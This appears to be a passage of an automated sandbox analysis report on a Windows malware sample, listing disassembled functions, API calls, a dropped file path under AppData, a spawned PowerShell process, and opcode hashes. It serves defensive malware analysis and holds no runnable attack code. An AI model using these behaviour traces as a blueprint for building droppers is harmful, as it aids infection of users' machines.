Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: ac110b3b9cb7c9f01e5231f91087d53fe1146d3d93b6dd99ce465d5e78f5ea73
Instruction ID: b130d42bb84d5447e475eed3bbf3cd484b2354f0b63da773ba138cf1eceff29e
Opcode Fuzzy Hash: ac110b3b9cb7c9f01e5231f91087d53fe1146d3d93b6dd99ce465d5e78f5ea73
Instruction Fuzzy Hash: CB015EB1500208ABDF219F61DC80AAB3A2AF7C5760F60413BFE04762D1D73A9D51E6E9

Function 004024D1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34filestringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000011), ref: 004024EF
WriteFile.KERNEL32(00000000,?,C:\Users\user\AppData\Local\choktallenes\sprgekasserne.Tek,00000000,?,?,00000000,00000011), ref: 0040250E

Strings

C:\Users\user\AppData\Local\choktallenes\sprgekasserne.Tek, xrefs: 004024DD, 00402502

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: FileWritelstrlen
String ID: C:\Users\user\AppData\Local\choktallenes\sprgekasserne.Tek
API String ID: 427699356-422593886
Opcode ID: f14869ca4b55f34734d9d1f256202a330c9e6f196b87c06b0e297acaa7f48907
Instruction ID: 4e81b00b1a0a83b1a618d6832a3b29c213d1c25728c37480281a976930c2fc19
Opcode Fuzzy Hash: f14869ca4b55f34734d9d1f256202a330c9e6f196b87c06b0e297acaa7f48907
Instruction Fuzzy Hash: DEF089B2A14144BFDB40EBA49E49EAB7764DB40308F10443BB141F61C2D6FC5941DB7D

Function 00403579 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,75573410,00403551,00403375,?), ref: 00403593
GlobalFree.KERNEL32(00000000), ref: 0040359A

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040358B

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-4083868402
Opcode ID: c1f6b4989b579ccb4d1bab47613fbee0e7e5134bf480dcc377e5cd6992e46223
Instruction ID: 1eddd4fff873b62aaaaf221bd6291171136980a6a9d1eb58fe3111f1a180586d
Opcode Fuzzy Hash: c1f6b4989b579ccb4d1bab47613fbee0e7e5134bf480dcc377e5cd6992e46223
Instruction Fuzzy Hash: 26E0C233811020ABC7216F56EC09B9ABB686F48B32F06442AED407B3B0D7746D418FD8

Function 00405694 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402C95,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\HVSU7GbA5N.exe,C:\Users\user\Desktop\HVSU7GbA5N.exe,80000000,00000003), ref: 0040569A
CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402C95,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\HVSU7GbA5N.exe,C:\Users\user\Desktop\HVSU7GbA5N.exe,80000000,00000003), ref: 004056A8

Strings

C:\Users\user\Desktop, xrefs: 00405694

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-1876063424
Opcode ID: c27a981e79bb352b20b7a8c74a9367836393bd04b8b6ccbc39cacac652a51138
Instruction ID: 684961cdd3a6b9df4e479839de86435c839074591af8eb1459d6379f3a08a3e1
Opcode Fuzzy Hash: c27a981e79bb352b20b7a8c74a9367836393bd04b8b6ccbc39cacac652a51138
Instruction Fuzzy Hash: 04D0A772409D701EF30353108C04B8F7A88CF13300F490862E040E2191C37C1C818BBE

Function 004057B3 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004059E2,00000000,[Rename],00000000,00000000,00000000), ref: 004057C3
lstrcmpiA.KERNEL32(004059E2,00000000), ref: 004057DB
CharNextA.USER32(004059E2,?,00000000,004059E2,00000000,[Rename],00000000,00000000,00000000), ref: 004057EC
lstrlenA.KERNEL32(004059E2,?,00000000,004059E2,00000000,[Rename],00000000,00000000,00000000), ref: 004057F5

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 69516db92ab03ac2bd29524685631cd9f8e4e2de886f88dc1d7fd11a4109c375
Instruction ID: ad6d9dedd63ee89ffd4e190405b35f06ce6ae84d6c36acf6f04f4a95cd08f7cb
Opcode Fuzzy Hash: 69516db92ab03ac2bd29524685631cd9f8e4e2de886f88dc1d7fd11a4109c375
Instruction Fuzzy Hash: 66F0C232604558FFCB12DBA4DD4099EBBA8EF06350B2140B9F800F7210D274EE01ABA9

Analysis Process: powershell.exePID: 7644, Parent PID: 7576COMMON

Executed Functions

Function 07D2C4DE Relevance: 1.8, Instructions: 1844COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2023843153.0000000007D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87e2f1c21903894c07d2fe8e79fac97c636b48b4855c25d8fd71adc3240cecb9
Instruction ID: a4b749810909adf46a5e3a115cf6197f2398c48e855bc81fe749b19f81584348
Opcode Fuzzy Hash: 87e2f1c21903894c07d2fe8e79fac97c636b48b4855c25d8fd71adc3240cecb9
Instruction Fuzzy Hash: AC0370B4A00325DFE724DB64C850B9AF7B2AF85704F1085A9D809BB745DB72ED82CF61

Function 04DC77F9 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2011445193.0000000004DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4dc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6dccff6f6bdf00a2fdc8e9176ef0a4ace44ab216eb88f26c91a0312bae66ed00
Instruction ID: 4c771c9215f28c3033f3e5f3b6c721abdbdcc6e62458b75ec5841124adcd39ca
Opcode Fuzzy Hash: 6dccff6f6bdf00a2fdc8e9176ef0a4ace44ab216eb88f26c91a0312bae66ed00
Instruction Fuzzy Hash: 68415B35B002069FDB19EB34C858AAD7BF2AF89754F08446CE406EB7A0DB34AD45CB90

Function 09A91C60 Relevance: 2.4, Strings: 1, Instructions: 1113COMMON

Download Yara Rule

Strings

_, xrefs: 09A91EDB

Memory Dump Source

Source File: 00000002.00000002.2032543720.0000000009A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 09A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9a90000_powershell.jbxd

Similarity

API ID:
String ID: _
API String ID: 0-701932520
Opcode ID: 2be83af537a28de0b27eb29f3f01cae92b0f6bdb94515e0ebfff8ec746383015
Instruction ID: 1db8fb547c715d1a9c7e347c484f0eb591e07bf7e69d99eaa8360cc3734f73cf
Opcode Fuzzy Hash: 2be83af537a28de0b27eb29f3f01cae92b0f6bdb94515e0ebfff8ec746383015
Instruction Fuzzy Hash: 2692BF74B10205AFDB14DB68C840BAAB7F6FF85B14F14806AE815AF751DB72EC41CBA1

Function 07D22165 Relevance: 1.3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

Strings

kDO, xrefs: 07D22165

Memory Dump Source

Source File: 00000002.00000002.2023843153.0000000007D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d20000_powershell.jbxd

Similarity

API ID:
String ID: kDO
API String ID: 0-2207574971
Opcode ID: 8af82e2915e430c82b7df46cd2584fb6db56b96b976f17db703a6827788f6f4b
Instruction ID: 6c12c098d4314c8e38442038058629bf1ae1d3f7d4d097e083ced9c71ad026ee
Opcode Fuzzy Hash: 8af82e2915e430c82b7df46cd2584fb6db56b96b976f17db703a6827788f6f4b
Instruction Fuzzy Hash: 8C215BF2B002218BD715A3685C11FAAF352AFD531CB11846BEA01AF740EE72DD4383E2

Function 07D2D2BE Relevance: 1.2, Instructions: 1234COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2023843153.0000000007D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0b0350a4a7f62a8da4b743ffaea0d2aacba4c27be1b4a8c5609ad405d218bff
Instruction ID: 91c2990e10184f4f7bde105ed94d06c1c913bfbff4b09be9628bc2bff807b712
Opcode Fuzzy Hash: c0b0350a4a7f62a8da4b743ffaea0d2aacba4c27be1b4a8c5609ad405d218bff
Instruction Fuzzy Hash: B1C2B1B4A10315DFE724DB64C850BAEB7B2AF89704F1085A9D8097B744DB72ED82CF61

Function 07D260C8 Relevance: 1.2, Instructions: 1173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2023843153.0000000007D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 049105b669a103b4a4e688d1756fef0833611fd1d1d9fb0dfdc37f85db66a260
Instruction ID: f4f30029d1eafbf39a53c5ed7502d898800a6b145f52158f995286b8b364a486
Opcode Fuzzy Hash: 049105b669a103b4a4e688d1756fef0833611fd1d1d9fb0dfdc37f85db66a260
Instruction Fuzzy Hash: B2A293B4A00325DFDB24DB54C850BAAF7B2AF85304F1484AAD54A6BB41DB71ED83CF61

Function 07D27282 Relevance: .9, Instructions: 890COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2023843153.0000000007D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68e7d8b52599d6a180071e5321fad615bbc3d4f7a4dbfc48f6e23a412d25dab4
Instruction ID: aa4f18282ba2d0cba9b35d1b48d0382bd5111bc738612d09ee9d1fc774048e63
Opcode Fuzzy Hash: 68e7d8b52599d6a180071e5321fad615bbc3d4f7a4dbfc48f6e23a412d25dab4
Instruction Fuzzy Hash: FE827FB4A00725DFD724DB54C950BAAB7B2AF85304F10C4AAD94A6BB40DB71ED83CF61

Function 07D2644C Relevance: .8, Instructions: 823COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2023843153.0000000007D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47240bb3561dd8a8b2792b6378ec95889977a934d6454b1706fbea654b8f3ba5
Instruction ID: 89b2e4e961c92df7d3175b2a803e8bd1f5f88fc0576151dd9f62008cd3ae7f7c
Opcode Fuzzy Hash: 47240bb3561dd8a8b2792b6378ec95889977a934d6454b1706fbea654b8f3ba5
Instruction Fuzzy Hash: C7726BB4A00325DFDB24DB54C950BAAF7B2AF85304F14C49AD94A6BB44DB31ED82CF61

Function 07D26460 Relevance: .8, Instructions: 814COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2023843153.0000000007D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62f2c25992cd80aaf550704aa5a01de65318cacb5f1e5ce44b25cc7b2acaf2ef
Instruction ID: f59a9f709201d99aed058236f71631a3fa6246bfd5dded3b34499ac28ced7123
Opcode Fuzzy Hash: 62f2c25992cd80aaf550704aa5a01de65318cacb5f1e5ce44b25cc7b2acaf2ef
Instruction Fuzzy Hash: DF726BB4A00325DFDB24DB54C950BAAF7B2AF85304F14C49AD90A6BB44DB71ED82CF61

Function 07D2744F Relevance: .6, Instructions: 646COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2023843153.0000000007D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35ef9dce3694d287e49b97fb0bca7857a99f00e1443a566cce68c79a26da72a0
Instruction ID: ecada395f08a98cda9b813f4963ea65b5e4184a074299f541c10c51e541c036f
Opcode Fuzzy Hash: 35ef9dce3694d287e49b97fb0bca7857a99f00e1443a566cce68c79a26da72a0
Instruction Fuzzy Hash: 545281B4A00725DFEB24DB54C950B9AF7B2AF85304F10C49AD94A6BB40DB71ED82CF61

Function 07D2D482 Relevance: .6, Instructions: 624COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2023843153.0000000007D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 627eaa015b0e9ece608a91093d424372949327a27595a5d3ec4ec202bb815920
Instruction ID: 422c14970b397a88e28a666d15d0c266992b8345773a1aab71f2fae3338d6e69
Opcode Fuzzy Hash: 627eaa015b0e9ece608a91093d424372949327a27595a5d3ec4ec202bb815920
Instruction Fuzzy Hash: C742B4B4B00315DFE724DB94C850B9AB7B2AF85304F1085A9D80A6F745DB72ED82CF61

Function 07D280D8 Relevance: .5, Instructions: 544COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2023843153.0000000007D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abb5d27cf0bfa9c1d1339e91b71aa971412ab42564a91449b48b32e2a9755302
Instruction ID: 3ec89950c5111df5b6c87118ee3e18a6055e315af1a915e0336cced98147e265
Opcode Fuzzy Hash: abb5d27cf0bfa9c1d1339e91b71aa971412ab42564a91449b48b32e2a9755302
Instruction Fuzzy Hash: 18227CB4B00214EFD714DB98D540F9AB7B2EF88709F148069E905AF791DB72EC82DB91

Function 09A91230 Relevance: .5, Instructions: 518COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2032543720.0000000009A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 09A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9a90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 090c6077753a60c5880c8e443f5cbb340fc6b6d9b7c5a51c159319e8b7b732d7
Instruction ID: c994ef4df743cfd650e5544c54599b2743e19ff8830db350829bec8182d4dd27
Opcode Fuzzy Hash: 090c6077753a60c5880c8e443f5cbb340fc6b6d9b7c5a51c159319e8b7b732d7
Instruction Fuzzy Hash: 7302E171B14206CFDB14DBA8C440BAAB7F6FF89B14F15806AE805AB751DB35DC41CBA1

Function 07D2D714 Relevance: .4, Instructions: 435COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2023843153.0000000007D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ba87922362738417e8b6f4f7e14f2968780b11af6c162a11d7f10c9362ecc0a
Instruction ID: 405c63bee0d71e1472e70b70f7a09a7dada2eee3af282b211d6f75f5ace2711e
Opcode Fuzzy Hash: 4ba87922362738417e8b6f4f7e14f2968780b11af6c162a11d7f10c9362ecc0a
Instruction Fuzzy Hash: A7123DB0A04226DFEB20DB14C950BA9F7B2AF55308F1084E9D949BB740DB71ED82DF61

Function 07D2D509 Relevance: .4, Instructions: 431COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2023843153.0000000007D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: acece4fca93645cfb67d2cabe7fd16ea6824a9d39643841775da08047c87e0ea
Instruction ID: 7caebd3416c22d8f47c2414bfac14188ad31900104fcd4bc126ecc3140ad69a8
Opcode Fuzzy Hash: acece4fca93645cfb67d2cabe7fd16ea6824a9d39643841775da08047c87e0ea
Instruction Fuzzy Hash: FC122CB4B00226DFEB24DB14C950BA9F7B2AB55308F1084E9D949BB740DB71ED82DF61

Function 09A82428 Relevance: .4, Instructions: 424COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2032521127.0000000009A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9a80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2e5bec813482c4b8a9b6d7b63761c5b1a29f9e0feca775c3505f2e009b54266
Instruction ID: 7b38b8b34da5797395dc6bfeb2392b0cc1e78636e8e630fee15cb76ff3417dc5
Opcode Fuzzy Hash: a2e5bec813482c4b8a9b6d7b63761c5b1a29f9e0feca775c3505f2e009b54266
Instruction Fuzzy Hash: 06024974A012099FDB05DF98C884BAEBBF6FF88750F248159E815AB365C735ED81CB90

Function 09A81E68 Relevance: .4, Instructions: 424COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2032521127.0000000009A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9a80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e24b92434d698ae15a8fdffd392718fa0aeedf24b6665235d124ab33afc1020
Instruction ID: 7c0189804d7cea6ec69b62911d15840ec4abda6c55273dc40c6ce9814f8846f5
Opcode Fuzzy Hash: 5e24b92434d698ae15a8fdffd392718fa0aeedf24b6665235d124ab33afc1020
Instruction Fuzzy Hash: 8D023C74A00209DFDB05DF98D884AAEBBF6FF88750F258169E815AB365C731ED41CB90

Function 07D280B9 Relevance: .4, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2023843153.0000000007D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8084dbbae480942a0c45fc2fb5c2ae64492197b8b10a2b5b8d429c82ac504fdd
Instruction ID: d9e44b4e8746de74b3e5dbd91f47958a88d69d2fea6fddeb5e92e8e44cd82683
Opcode Fuzzy Hash: 8084dbbae480942a0c45fc2fb5c2ae64492197b8b10a2b5b8d429c82ac504fdd
Instruction Fuzzy Hash: 3DF16BB4A00254EFDB14CB58C540F9ABBB2FF88709F158059E905AF791DB72EC82DB51

Function 09A80B80 Relevance: .4, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2032521127.0000000009A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9a80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8dfb48ca69b130e96187ca6247cf17af1c42695701cfcc4bfc66564c409170bc
Instruction ID: a2c85ac0fd3bdc3b42c5fd7562f407ff4d15ea7ee3ee419c946cde56d1134e9a
Opcode Fuzzy Hash: 8dfb48ca69b130e96187ca6247cf17af1c42695701cfcc4bfc66564c409170bc
Instruction Fuzzy Hash: 95F18E71A01258DFDB05DFA8C894ADEBBB2FF89710F158199E804AB361C735ED85CB90

Function 07D24548 Relevance: .4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2023843153.0000000007D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 927f5993c722d5d63fdef25aff49d35ab3dd4175b276d8bbeb8b4421f0338e0a
Instruction ID: 6d4755add6d13e9ae659496f42eb2f0b157c04b1672103357e884530bdeb026a
Opcode Fuzzy Hash: 927f5993c722d5d63fdef25aff49d35ab3dd4175b276d8bbeb8b4421f0338e0a
Instruction Fuzzy Hash: 51E19AB0B002559FDB54DB98C440BAAB7B2EF89708F15C069E805AF751DB72EC43CB91

Function 07D2452E Relevance: .3, Instructions: 337COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2023843153.0000000007D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7d20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff35d61e4cb8140a23f81cb75336ae4fa22d4879dd25c58d167beda81e5da04a
Instruction ID: 8df1c69aa6b610f4052b59a76854335eafd314ff25ec560f5a0292bc967183b1
Opcode Fuzzy Hash: ff35d61e4cb8140a23f81cb75336ae4fa22d4879dd25c58d167beda81e5da04a
Instruction Fuzzy Hash: 2AD168B0A012959FDB14CB58C540FAAFBB2EF94718F158059E815AF751CB72EC83CB91

Function 04DC72A0 Relevance: .3, Instructions: 313COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2011445193.0000000004DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4dc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39a30a6c871374b10215b047db63b6caaa350a07d8f604794c03b9869e522020
Instruction ID: 5bafad14ecebeb263bb1b3adfd5ddb991833382e4a44ac62d01032388233850d
Opcode Fuzzy Hash: 39a30a6c871374b10215b047db63b6caaa350a07d8f604794c03b9869e522020
Instruction Fuzzy Hash: 2EC17B35A0030ADFCB14DFA5D948AADBBB2FF84710F158569E406AB364DB34AD49CF80

Function 09A806FD Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2032521127.0000000009A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9a80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7353442caadd232c963779a5e54a9899d0490296128f5309ba2f279553314d56
Instruction ID: ec7943b2338404e747b9d4826c7d295a658ee25e76669e435df5ed22a4111ff8
Opcode Fuzzy Hash: 7353442caadd232c963779a5e54a9899d0490296128f5309ba2f279553314d56
Instruction Fuzzy Hash: 1391E831A093958FD706DB78C8606DE7FB1AF86610B1940DBC441DF263DB388D0ACBA6

Function 09A807C8 Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2032521127.0000000009A80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09A80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9a80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b454990c94f02c85133a6a3c312a819875cdfd896e83f15177e154aa3925f4ee
Instruction ID: 52463ca7da813585c89a705c47eaa34af4b392f4dedaf21ac9e65f20727942af
Opcode Fuzzy Hash: b454990c94f02c85133a6a3c312a819875cdfd896e83f15177e154aa3925f4ee
Instruction Fuzzy Hash: FD819D35B002198FDB15EFA9C880AAFB7B6FFC8710F148569E8059B355DB349C46CBA1

Function 04DC2AA0 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2011445193.0000000004DC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_4dc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57986c9b6df84fdcbd4c031f466d95703f9a581cf4d43c7135f36b0526d8f26d
Instruction ID: ef9e67f2298b6969acb7a56f687de2833df9850abecb779be93947eaaa7ad2b2
Opcode Fuzzy Hash: 57986c9b6df84fdcbd4c031f466d95703f9a581cf4d43c7135f36b0526d8f26d
Instruction Fuzzy Hash: 78917F74A0024A8FCB15CF58C594AAEFBB2FF89310B248599D815AB3A5C735FC51CBA0

Function 09A91590 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2032543720.0000000009A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 09A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9a90000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85c0578668cc9134c3f158d203bfddd68f0650d9061a0896a5fcb622381dbb51
Instruction ID: c121edc6622ea88ac60bb0ff639485664eda695bcb9afd610764df92ed87c0c9
Opcode Fuzzy Hash: 85c0578668cc9134c3f158d203bfddd68f0650d9061a0896a5fcb622381dbb51
